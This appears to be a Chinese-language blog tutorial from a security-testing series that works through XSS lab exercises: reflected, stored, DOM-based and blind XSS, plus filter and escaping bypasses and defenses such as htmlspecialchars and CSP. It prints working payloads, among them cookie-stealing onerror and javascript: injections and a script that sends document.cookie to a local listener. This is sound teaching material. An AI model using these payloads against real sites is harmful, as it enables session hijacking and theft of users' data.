本篇博文是《从0到1学习安全测试》中**靶场练习**系列的第**二**篇博文,主要内容是**了解跨站脚本攻击以及通过靶场进行实战练习加深印象**,往期系列文章请访问博主的 安全测试 专栏;
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
跨站脚本攻击(Cross-Site Scripting,简称 XSS) 是一种常见的网络攻击方式,攻击者通过在网页中插入恶意脚本,导致用户的浏览器执行这些脚本。通过这种方式,攻击者可以窃取用户的敏感信息、进行会话劫持,甚至传播恶意软件。
document.location
或 document.write
来改变页面内容。<
, >
, &
)转换为其对应的 HTML 实体,以避免执行。Content-Security-Policy
,限制可执行的脚本源,从而防止未授权的脚本执行。nonce
或 hash
进行安全验证。先输入一个 sidiot
尝试一下,如下图所示:
这里尝试简单的 XSS 注入,写到一半发现 input 框限制了长度,可以 F12 修改长度 maxlength="200"
,或者直接在 GET 参数中进行注入 %3Cimg%20src%3D1%20onerror%3Dalert(1)%3E
,如下图所示:
通过提示,我们可以知道这道题的目的是为了让我们通过 XSS 来获取到 cookie。
先通过账号密码 admin/123456 进行登录,登录后还是和上一题一样的形式,尝试一下 <img src=1 onerror=alert(document.cookie)>
,成功获取到 cookie:
尝试 <img src=1 onerror=alert(1)>
进行注入,成功弹框:
由于是留言板,我们发布之后,它会在底下进行展示,因此这将会是永久性的 XSS。
尝试输入 sidiot,根据提示查看 HTML 元素,如下图所示:
我们要做的是,在 href 属性里执行 JS 代码,例如 javascript:alert(1)
,点击 "what do you see?" 即会触发弹窗:
尝试输入 <img src=1 onerror=alert(document.cookie)>
进行 XSS 注入,发现提交之后并没有进行弹窗,而是在底部返回了 “谢谢参与,阁下的看法我们已经收到!”。
直接瞄一眼提示:
登录到后台后,发现出现弹窗:
由于 XSS 盲打的执行效果通常是由后台人员或不同的用户组触发的,攻击者无法在前端直接看到结果。因此,攻击者常常使用外部资源来接收信息,例如通过创建监听的外部服务器,将攻击结果(如敏感信息)发送到该服务器。
使用如下指令来反弹攻击结果:
<script>
var img = new Image();
img.src = 'http://127.0.0.1:8888/?cookie=' + document.cookie;
</script>
下面拉起一个 Python 的临时服务,用于监听反弹回来的攻击结果:
直接一把出了 <img src=1 onerror=alert(document.cookie)>
:
去代码里看看过滤了什么:
这段正则试图替换用户输入中的所有形态的 <script>
标签,防止攻击者通过插入一些无关字符绕过简单的过滤规则。例如,<sCrIpT>
或者 <scr<sp>ipt>
这种变形。
但是这段正则表达式只能处理比较明显的 <script>
标签变种,更复杂的变种可能绕过这个正则,例如使用多字节编码、实体编码(<script>
)等。
而且,虽然过滤掉了 <script>
标签,但攻击者可能会利用其他方式进行 XSS 攻击,例如通过事件处理属性(如 onclick
、onload
)注入恶意代码,或者通过 <iframe>
、<img>
等标签引入脚本。
为了更安全地处理用户输入,可以使用 htmlspecialchars
函数来防止 XSS 攻击。htmlspecialchars
函数将所有的 HTML 特殊字符转义,确保输入内容以纯文本形式显示,而不会被浏览器解释为 HTML 或 JavaScript。
$message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
上面已经介绍过 htmlspecialchars
会将特殊的 HTML 字符转义为 HTML 实体,确保这些字符不会在浏览器中被解析为 HTML 或 JavaScript,以下的特殊字符会被转换为对应的 HTML 实体:
字符 | 转换后的实体 |
---|---|
& | & |
< | < |
> | |
" | " |
' | ' |
通过将这些字符转义,浏览器就不会将它们解释为实际的 HTML 标签或属性,而是作为普通的文本内容来展示。这是防止 XSS 攻击的一个非常有效的措施。
直接 <img src=1 onerror=alert(document.cookie)>
试试效果:
看样子可以考虑去闭合 href,' onclick='alert(1)'
单引号没被转义是可行的,双引号被转义了用不了 href="" onclick="alert(1)""
:
或者使用 javascript:alert(document.title)
来绕过特殊字符转义:
直接用上面的脚本跟进行注入 javascript:alert(document.title)
:
在这种情况下,我们可以采取相应的安全措施来防止潜在的攻击。首先,可以通过白名单机制只允许合法的协议类型,例如 http
和 https
。其次,应该对用户输入的内容进行 htmlspecialchars
处理,将特殊字符(如 <
, >
, &
等)转义为 HTML 实体,防止它们被解析为 HTML 或脚本标签。这些预防措施可以有效防止 XSS 攻击和其他潜在的安全威胁,确保网页的安全性。
尝试输入 sidiot,看看反应,根据题目是与 JS 有关,因此直接看到 script 中:
直接尝试去闭合单引号:';alert(1);$m='
,拿下。
以上就是 跨站脚本攻击 XSS 的所有内容了,希望本篇博文对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
📝 上篇精讲:(一)暴力破解漏洞 Burt Force 💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持; 👍 公众号:sidiot的技术驿站; 🔥 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。